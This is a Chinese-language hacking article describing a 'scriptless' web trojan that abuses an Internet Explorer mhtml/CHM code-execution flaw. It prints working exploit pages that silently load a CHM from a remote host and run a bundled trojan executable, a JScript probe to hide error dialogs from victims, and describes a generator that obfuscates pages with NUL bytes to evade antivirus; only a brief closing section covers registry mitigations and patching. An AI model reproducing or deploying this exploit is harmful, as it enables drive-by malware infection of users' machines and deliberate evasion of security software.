过时的 “无脚本” 网页木马

 

 现如今网络上各种网页肆虐,上网时要处处防范,我本不想再给网络中加上这把火,所以本文所讲的网页我试验成功后,因为发觉其危害过大(win98、winme、win2000、winxp、win2003下均测试成功^*^),只仅仅发给了几位好友进行测试,随着时间的推移,等到今天这个漏洞补丁已经发布几个月后,我觉得有必要和热爱技术的网友共享一下,所以我写下了此文!
  标题中的“过时”也是指补丁已发布而言,本文所介绍的网页和现如今流行的几种网页相比,应该还是比较新的,危害性也比较大,我衷心希望各位读者能够以研究为目的,不要用它肆意在网络上传播各种或恶意程序,以免给他人及自己带来不必要的麻烦。

  《黑防》曾经介绍过mhtml漏洞,在利用上因为需要本地权限,不得不使用结合其他漏洞来获得本地权限,mhtml漏洞之后网络上又出现“Microsoft Internet Explorer未明CHM文件处理任意代码执行漏洞”,仔细看后我觉得这个应该是mhtml漏洞的延伸,于是我开始进行大量测试,希望可以更有效的利用这个漏洞。
  测试过程是枯燥的我就不多说啦,我就直接把我获得的结果告诉大家,就是采用object标签结合“未明CHM文件处理任意代码执行漏洞”可以不需要借助任何其它控件如Scripting.FileSystemObject或ADODB.Stream,不需要任何javascript或VBSCRIPT代码,就可以执行任意程序,这在当前各种网页木马时比较少见的现象呀,让我想起了古老的“错误MIME漏洞”!不用控件和的好处是相当多的,至少可以极大的躲避各种杀毒软件的围剿,要知道现在连ADODB.Stream也被瑞星专门写了个软件来卸载呀!

  废话少说,看代码先(icyfox-muma.htm):


<HTML oncontextmenu="return false">
<HEAD>
<META http-equiv="Content-Type"  content="text/html; charset=gb2312">
<TITLE>“无”网页木马测试--冰狐浪子</TITLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="javascript">
//这里为了使状态栏显得比较正常
//不总是停留在进度条未完状态
window.status="完毕";
</SCRIPT>
<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:@MSITStore:mhtml:C:\.mht!http://www.godog.y365.com/cs/muma/icyfox.chm::/icyfox.htm" type="text/x-scriptlet"></OBJECT>
</BODY>
</HTML>
 


其中文件“icyfox.chm”里面包含两个文件:icyfoxlovelace.exe 和 icyfox.htm,其中“icyfoxlovelace.exe”不用说就是一个木马程序啦,“icyfox.htm”文件的内容如下:

<HTML><HEAD>
<TITLE>冰狐浪子网页木马测试用CHM文件</TITLE>
</HEAD><BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="icyfoxlovelace.exe">
</OBJECT>
</BODY></HTML>
 

至于如何制作icyfox.chm文件我就不多说啦,不会的朋友请参阅《黑客防线》第六期的“CHM木马也疯狂”一文即可。


  木马分析,“icyfox-muma.htm”中利用OBJECT标签结合CHM文件处理任意代码执行漏洞,使得icyfox.chm成为本地权限的文件,而由于icyfoxlovelace.exe 和 icyfox.htm 同处于icyfox.chm中也被视为本地权限的文件,这样由于本地安全设置默认允许未签名控件运行,使得“icyfoxlovelace.exe”在没有任何提示的情况下被作为一个控件而运行!见图一:

 ===========  在此插入图一 ==============

  文件“icyfox-muma.htm”中"mk:@MSITStore:mhtml:C:\.mht!http://www.godog.y365.com/cs/muma/icyfox.chm::/icyfox.htm"中的
“mk:@MSITStore:”可以替换为另外两种访问帮助文档的协议“mk-its:”或“its:”,“C:\.mht”是一个并不存在的mht格式的文件,当然也可以用同格式不同扩展名的eml来替代如“C:\not.eml”,甚至用任何其他只要硬盘并不存在的文件也可以比如“C:\icyfox.txt”,呵呵,因为指定“mhtml:”协议后无论后面是何种扩展名,IE总会用此协议来解析;同样的“icyfox.chm”也是可以任意改为其他扩展名,因为已经指定采用“mk:@MSITStore:”协议来访问,比如可以把它改为“icyfox.js”^*^。

  为了方便各位网友测试,我特地写了一个生成器送给大家(其实是我不想像上次那样被人追杀^#^),生成器使用方法很简单,解压缩后,把其中的“#.EXE”这个文件用你的木马替换掉,注意不要把它改为其它名字,然后运行“冰狐浪子超级网页木马生成器.jse”,等一段时间后即可在同一目录中获得两个文件“icyfox.htm”和“icyfox.js”,“icyfox.htm”用我讲过的“任意添加NUL空字符(00h)”进行了,可以改名或嵌入其它页面中,而“icyfox.js”就是上面讲到的“icyfox.chm”,也请不要改为其他名字,需要注意的是:我是采用js编写的这个生成器,使用了Scripting.FileSystemObject和WScript.Shell控件,所以可能会引起杀毒软件的报警,请放心使用,里面应该没有地 ^*^ !

  值得注意的一点是,如果“mhtml”协议已经被去掉或不被支持的话(我在测试时遇到几次这种情况),会产生如图二的错误对话框,

 ===========  在此插入图二 ==============


这样容易引起怀疑,解决方法为写点js代码进行判断(还是我聪明^&^呵呵),代码如下:

<HTML><HEAD>
<TITLE>判断是否支持“mhtml”协议--冰狐浪子</TITLE>
</HEAD><BODY>
<SCRIPT language=JScript>
window.status="完毕";
var mht=0;
</SCRIPT>
<SCRIPT language=JScript src="mhtml:http://www.godog.y365.com/cs/muma/mht.mht!!">
</SCRIPT>
<SCRIPT language=JScript>
if(mht){ 
var mumaurl="";
var icyfoxmuma='<IFRAME src="'+mumaurl+'" style="display:none;" width=0 height=0></IFRAME>';
document.write(icyfoxmuma)
alert("支持“mhtml”协议"); }
else{ alert("不支持“mhtml”协议"); }
</SCRIPT>
</BODY></HTML>
 

其中mht.mht中的代码如下:

MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="1"
--1
Content-Type:application/x-javascript;name="!"
Content-Transfer-Encoding: 7bit
Content-Location: !
Content-ID: <!>
mht=1;
--1--
 

  这样就可以当“mhtml”协议不被支持时不调用网页木马,从而更完美一点点,测试时注意把上面的路径“http://www.godog.y365.com/cs/muma/”改为测试路径呀!


     弥补漏洞防止木马

修改本地安全属性,相应的注册表键值为:
 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
下的1004项的值由原来的0改为十六进制的3

或者去掉mhtml协议,相应的注册表键值为:
 HKEY_CLASSES_ROOT\PROTOCOLS\Handler
把下面的“mhtml”删除或改名!

当然最好的办法是下载并安装相对应的IE补丁!

 

你可能感兴趣的:(JavaScript,IE,网络协议,脚本,软件测试)